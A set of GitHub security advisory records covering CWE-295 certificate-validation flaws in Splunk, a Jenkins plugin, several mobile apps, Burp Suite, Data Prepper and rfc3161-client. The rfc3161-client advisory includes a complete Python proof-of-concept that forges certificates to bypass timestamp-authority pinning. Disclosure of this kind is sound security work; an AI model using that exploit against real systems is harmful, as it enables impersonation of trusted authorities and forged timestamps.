CWE-295

{
  "affected": [],
  "aliases": [
    "CVE-2022-32153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Splunk Enterprise peers in Splunk Enterprise versions before 9.0 and Splunk Cloud Platform versions before 8.2.2203 did not validate the TLS certificates during Splunk-to-Splunk communications by default. Splunk peer communications configured properly with valid certificates were not vulnerable. However, an attacker with administrator credentials could add a peer without a valid certificate and connections from misconfigured nodes without valid certificates did not fail by default. For Splunk Enterprise, update to Splunk Enterprise version 9.0 and Configure TLS host name validation for Splunk-to-Splunk communications (https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation) to enable the remediation.",
  "id": "GHSA-3vq3-mvhh-hjcp",
  "modified": "2022-06-25T00:01:03Z",
  "published": "2022-06-16T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32153"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/Updates"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_infrastructure_version"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_lack_of_encryption"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_protocol_impersonation_weak_encryption_selfsigned"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/network/splunk_identified_ssl_tls_certificates"
    },
    {
      "type": "WEB",
      "url": "https://www.splunk.com/en_us/product-security/announcements/svd-2022-0603.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:cavisson-ns-nd-integration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.8.0.146"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-45391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T22:23:33Z",
    "nvd_published_at": "2022-11-15T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins NS-ND Integration Performance Publisher Plugin 4.8.0.143 and earlier globally and unconditionally disables SSL/TLS certificate and hostname validation for the entire Jenkins controller JVM.\n\nNS-ND Integration Performance Publisher Plugin 4.8.0.146 no longer disables SSL/TLS certificate and hostname validation globally.",
  "id": "GHSA-3vwm-fc87-mq6h",
  "modified": "2023-10-30T21:12:33Z",
  "published": "2022-11-16T12:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45391"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/cavisson-ns-nd-integration-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-11-15/#SECURITY-2910%20%281%29"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-11-15/#SECURITY-2910%20(1)"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/11/15/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins NS-ND Integration Performance Publisher Plugin disables SSL/TLS certificate validation globally and unconditionally"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-5913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-05T07:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The TradeKing Forex for iPhone app 1.2.1 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
  "id": "GHSA-3vxp-q565-46fp",
  "modified": "2025-04-20T03:37:14Z",
  "published": "2022-05-17T02:45:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5913"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-1153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-18T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "Burp Suite Community Edition 1.7.32 and 1.7.33 fail to validate the server certificate in a couple of HTTPS requests which allows a man in the middle to modify or view traffic.",
  "id": "GHSA-3w65-74c3-p8jp",
  "modified": "2022-05-14T03:07:22Z",
  "published": "2022-05-14T03:07:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1153"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2018-18"
    },
    {
      "type": "WEB",
      "url": "http://releases.portswigger.net/2018/06/1734.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-20135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-07T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Samsung Galaxy Apps before 4.4.01.7 allows modification of the hostname used for load balancing on installations of applications through a man-in-the-middle attack. An attacker may trick Galaxy Apps into using an arbitrary hostname for which the attacker can provide a valid SSL certificate, and emulate the API of the app store to modify existing apps at installation time. The specific flaw involves an HTTP method to obtain the load-balanced hostname that enforces SSL only after obtaining a hostname from the load balancer, and a missing app signature validation in the application XML. An attacker can exploit this vulnerability to achieve Remote Code Execution on the device. The Samsung ID is SVE-2018-12071.",
  "id": "GHSA-3wcx-33v7-xf78",
  "modified": "2024-04-04T00:54:12Z",
  "published": "2022-05-24T16:47:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20135"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    },
    {
      "type": "WEB",
      "url": "https://www.adyta.pt/en/2019/01/29/writeup-samsung-app-store-rce-via-mitm-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-4015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-18T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable vulnerability exists in the HTTP client functionality of the Webroot BrightCloud SDK. The configuration of the HTTP client does not enforce a secure connection by default, resulting in a failure to validate TLS certificates. An attacker could impersonate a remote BrightCloud server to exploit this vulnerability.",
  "id": "GHSA-3xch-65wc-4ghp",
  "modified": "2022-05-13T01:01:45Z",
  "published": "2022-05-13T01:01:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4015"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opensearch.dataprepper.plugins:geoip-processor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T20:40:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe GeoIP processor in Data Prepper was configured to trust all SSL certificates and disable hostname verification when downloading GeoIP databases from HTTP URLs, making downloads vulnerable to man-in-the-middle attacks.\n\nThe GeoIP processor included a custom SSL implementation that completely bypassed certificate validation when downloading GeoIP databases from external sources. The `initiateSSL()` method incorrectly implemented an approach for trusting all certificates. Specifically it:\n\n* Accepted all SSL certificates without validation\n* Disabled server certificate verification\n* Disabled client certificate verification\n* Disabled hostname verification\n\nThis configuration made database downloads vulnerable to man-in-the-middle attacks, potentially allowing attackers to serve malicious GeoIP databases that could compromise the integrity of geolocation data processing.\n\n### Patches\n\nData Prepper 2.12.2 contains a fix for this issue.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n* Use local GeoIP database files instead of downloading from HTTP URLs\n* Ensure database downloads occur only over trusted networks",
  "id": "GHSA-3xgr-h5hq-7299",
  "modified": "2025-10-15T20:40:10Z",
  "published": "2025-10-15T20:40:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/security/advisories/GHSA-3xgr-h5hq-7299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/commit/b82ea0640d98d9f4c742622325faeeb6248ee135"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opensearch-project/data-prepper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoIP processor disables SSL certificate validation when downloading databases"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-8059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-05T07:29:00Z",
    "severity": "HIGH"
  },
  "details": "Acceptance of invalid/self-signed TLS certificates in \"Foxit PDF - PDF reader, editor, form, signature\" before 5.4 for iOS allows a man-in-the-middle and/or physically proximate attacker to silently intercept login information (username/password), in addition to the static authentication token if the user is already logged in.",
  "id": "GHSA-3xw2-mcfq-hw9h",
  "modified": "2025-04-20T03:37:14Z",
  "published": "2022-05-17T02:45:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8059"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "rfc3161-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:00:23Z",
    "nvd_published_at": "2026-04-08T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn Authorization Bypass vulnerability in `rfc3161-client`\u0027s signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target `common_name` and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.\n\n### Details\n\nThe root cause lies in `rfc3161_client.verify.Verifier._verify_leaf_certs()`. The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 `SignedData` bag using a naive algorithm:\n\n```python\nleaf_certificate_found = None\nfor cert in certs:\n    if not [c for c in certs if c.issuer == cert.subject]:\n        leaf_certificate_found = cert\n        break\n```\n\nThis loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does **not** rely on checking the `ESSCertID` or `ESSCertIDv2` cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).\n\nAn attacker can exploit this by:\n\n1. Acquiring a legitimate, authentic TimeStampResponse from *any* widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.\n2. Generating a self-signed spoofed \"proxy\" certificate `A` with the exact `Subject` (e.g., `CN=Intended Corporate TSA`) and `ExtendedKeyUsage` (`id-kp-timeStamping`) required by the client\u0027s `VerifierBuilder`.\n3. Generating a dummy certificate `D` issued by the *actual* FreeTSA leaf certificate.\n4. Appending both `A` and `D` to the `certificates` list in the PKCS#7 `SignedData` of the TimeStampResponse.\n\nWhen `_verify_leaf_certs()` executes, the dummy certificate `D` disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically \"issues\" `D` within the bag). The loop then evaluates the spoofed certificate `A`, realizes it issues nothing else in the bag, and selects it as `leaf_certificate_found`.\n\nThe library then processes the `common_name` and EKU checks exactly against `A`. Since `A` was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL `pkcs7_verify` backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.\n\n### PoC\n\nThe environment simulation and the PoC script have been included in the `poc.py` and `Dockerfile` artifacts:\n\n**Dockerfile (`poc/Dockerfile`)**:\n\n```dockerfile\nFROM python:3.11-slim\nRUN apt-get update \u0026\u0026 apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git \u0026\u0026 rm -rf /var/lib/apt/lists/*\nWORKDIR /app\nCOPY . /app/rfc3161-client\nRUN pip install cryptography requests asn1crypto\nWORKDIR /app/rfc3161-client\nRUN pip install .\nCOPY poc/poc.py /app/poc.py\nWORKDIR /app\nCMD [\"python\", \"poc.py\"]\n```\n\nThe attack flow locally demonstrated in `poc/poc.py`:\n\n``` python\nimport base64\nimport requests\nfrom rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm\nfrom rfc3161_client.verify import VerifierBuilder\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nimport datetime\nfrom asn1crypto import cms, tsp\n\ndef main():\n    print(\"[*] Generating TimeStampRequest...\")\n    req_builder = TimestampRequestBuilder(\n        data=b\"hello world\",\n        hash_algorithm=HashAlgorithm.SHA256,\n        cert_req=True\n    )\n    req = req_builder.build()\n    \n    print(\"[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...\")\n    resp = requests.post(\n        \"https://freetsa.org/tsr\",\n        data=req.as_bytes(),\n        headers={\"Content-Type\": \"application/timestamp-query\"}\n    )\n    if resp.status_code != 200:\n        print(\"[-] Failed to get TSA response. Is the network up?\")\n        return\n        \n    tsa_resp_bytes = resp.content\n    \n    print(\"[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...\")\n    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n    subject = issuer = x509.Name([\n        x509.NameAttribute(NameOID.COMMON_NAME, \"Spoofed TSA\"),\n    ])\n    \n    # We create a self-signed spoofed certificate that meets all Python verification criteria\n    cert = x509.CertificateBuilder().subject_name(\n        subject\n    ).issuer_name(\n        issuer\n    ).public_key(\n        private_key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.datetime.utcnow() - datetime.timedelta(days=1)\n    ).not_valid_after(\n        datetime.datetime.utcnow() + datetime.timedelta(days=1)\n    ).add_extension(\n        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),\n        critical=True,\n    ).sign(private_key, hashes.SHA256())\n    \n    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)\n    \n    print(\"[*] Parsing the authentic PKCS#7 SignedData bag of certificates...\")\n    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)\n    status = tinfo[\u0027status\u0027][\u0027status\u0027].native\n    if status != \u0027granted\u0027:\n        print(f\"[-] Status not granted: {status}\")\n        return\n        \n    content_info = tinfo[\u0027time_stamp_token\u0027]\n    assert content_info[\u0027content_type\u0027].native == \u0027signed_data\u0027\n    signed_data = content_info[\u0027content\u0027]\n    \n    certs = signed_data[\u0027certificates\u0027]\n    \n    from asn1crypto.x509 import Certificate\n    fake_cert_asn1 = Certificate.load(fake_cert_der)\n    \n    real_leaf_asn1 = None\n    for c in certs:\n        c_subject = c.chosen[\u0027tbs_certificate\u0027][\u0027subject\u0027]\n        issues_something = False\n        for oc in certs:\n            if c == oc: continue\n            oc_issuer = oc.chosen[\u0027tbs_certificate\u0027][\u0027issuer\u0027]\n            if c_subject == oc_issuer:\n                issues_something = True\n                break\n        if not issues_something:\n            real_leaf_asn1 = c\n            break\n            \n    if real_leaf_asn1:\n        print(\"[*] Found the genuine TS leaf certificate. Creating a \u0027dummy node\u0027 to disqualify it from the library\u0027s naive leaf discovery...\")\n        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())\n        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        dummy_cert = x509.CertificateBuilder().subject_name(\n            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Dummy Entity\")])\n        ).issuer_name(\n            real_leaf_crypto.subject\n        ).public_key(\n            dummy_priv.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=1)\n        ).sign(dummy_priv, hashes.SHA256()) \n        \n        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))\n        certs.append(dummy_cert_asn1)\n\n    print(\"[*] Injecting the malicious spoofed proxy certificate into the response bag...\")\n    certs.append(fake_cert_asn1)\n    \n    malicious_resp_bytes = tinfo.dump()\n    \n    print(\"[*] Downloading FreeTSA Root Certificate Trust Anchor...\")\n    root_resp = requests.get(\"https://freetsa.org/files/cacert.pem\")\n    root_cert = x509.load_pem_x509_certificate(root_resp.content)\n    # We must also download TSA.crt which acts as an intermediate for FreeTSA\n    tsa_resp_cert = requests.get(\"https://freetsa.org/files/tsa.crt\")\n    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)\n    \n    print(\"[*] Initializing Verifier strictly pinning Common Name to \u0027Spoofed TSA\u0027...\")\n    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)\n    \n    verifier = VerifierBuilder(\n        common_name=\"Spoofed TSA\",\n        roots=[root_cert],\n        intermediates=[tsa_cert_obj],\n    ).build()\n\n    print(\"[*] Attempting Verification...\")\n    try:\n        verifier.verify_message(tsa_resp_obj, b\"hello world\")\n        print(\"\\n\\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged \u0027Spoofed TSA\u0027 name due to Trust Boundary Confusion.\\033[0m\\n\")\n    except Exception as e:\n        print(\"\\n\\033[91m[-] Verification failed:\\033[0m\", e)\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n\n1. Requests a timestamp from `https://freetsa.org/tsr`.\n2. Generates a fake cert with `common_name=\"Spoofed TSA\"` and `ExtendedKeyUsage=TIME_STAMPING`.\n3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA\u0027s leaf.\n4. Injects the fake cert into the bag.\n5. Invokes `decode_timestamp_response()` on the malicious bytes.\n6. Runs `VerifierBuilder(common_name=\"Spoofed TSA\", ...).verify_message(malicious_resp, msg)`.\n7. Observes a successful verification bypassing the `common_name` constraint.\n\n### Impact\n\n**Vulnerability Type:** Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion\n**Impact:** High. Applications relying on `rfc3161-client` to guarantee the origin of a timestamp via `tsa_certificate` or `common_name` pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold *any* valid timestamp from a CA trusted by the Verifier.",
  "id": "GHSA-3xxc-pwj6-jgrj",
  "modified": "2026-04-08T19:26:29Z",
  "published": "2026-04-08T15:00:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/rfc3161-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rfc3161-client Has Improper Certificate Validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-32152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Splunk Enterprise peers in Splunk Enterprise versions before 9.0 and Splunk Cloud Platform versions before 8.2.2203 did not validate the TLS certificates during Splunk-to-Splunk communications by default. Splunk peer communications configured properly with valid certificates were not vulnerable. However, an attacker with administrator credentials could add a peer without a valid certificate and connections from misconfigured nodes without valid certificates did not fail by default. For Splunk Enterprise, update to Splunk Enterprise version 9.0 and Configure TLS host name validation for Splunk-to-Splunk communications (https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation) to enable the remediation.",
  "id": "GHSA-427f-v2mq-364f",
  "modified": "2022-06-25T00:01:03Z",
  "published": "2022-06-16T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32152"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/Updates"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_infrastructure_version"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_lack_of_encryption"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_protocol_impersonation_weak_encryption_selfsigned"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/network/splunk_identified_ssl_tls_certificates"
    },
    {
      "type": "WEB",
      "url": "https://www.splunk.com/en_us/product-security/announcements/svd-2022-0602.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}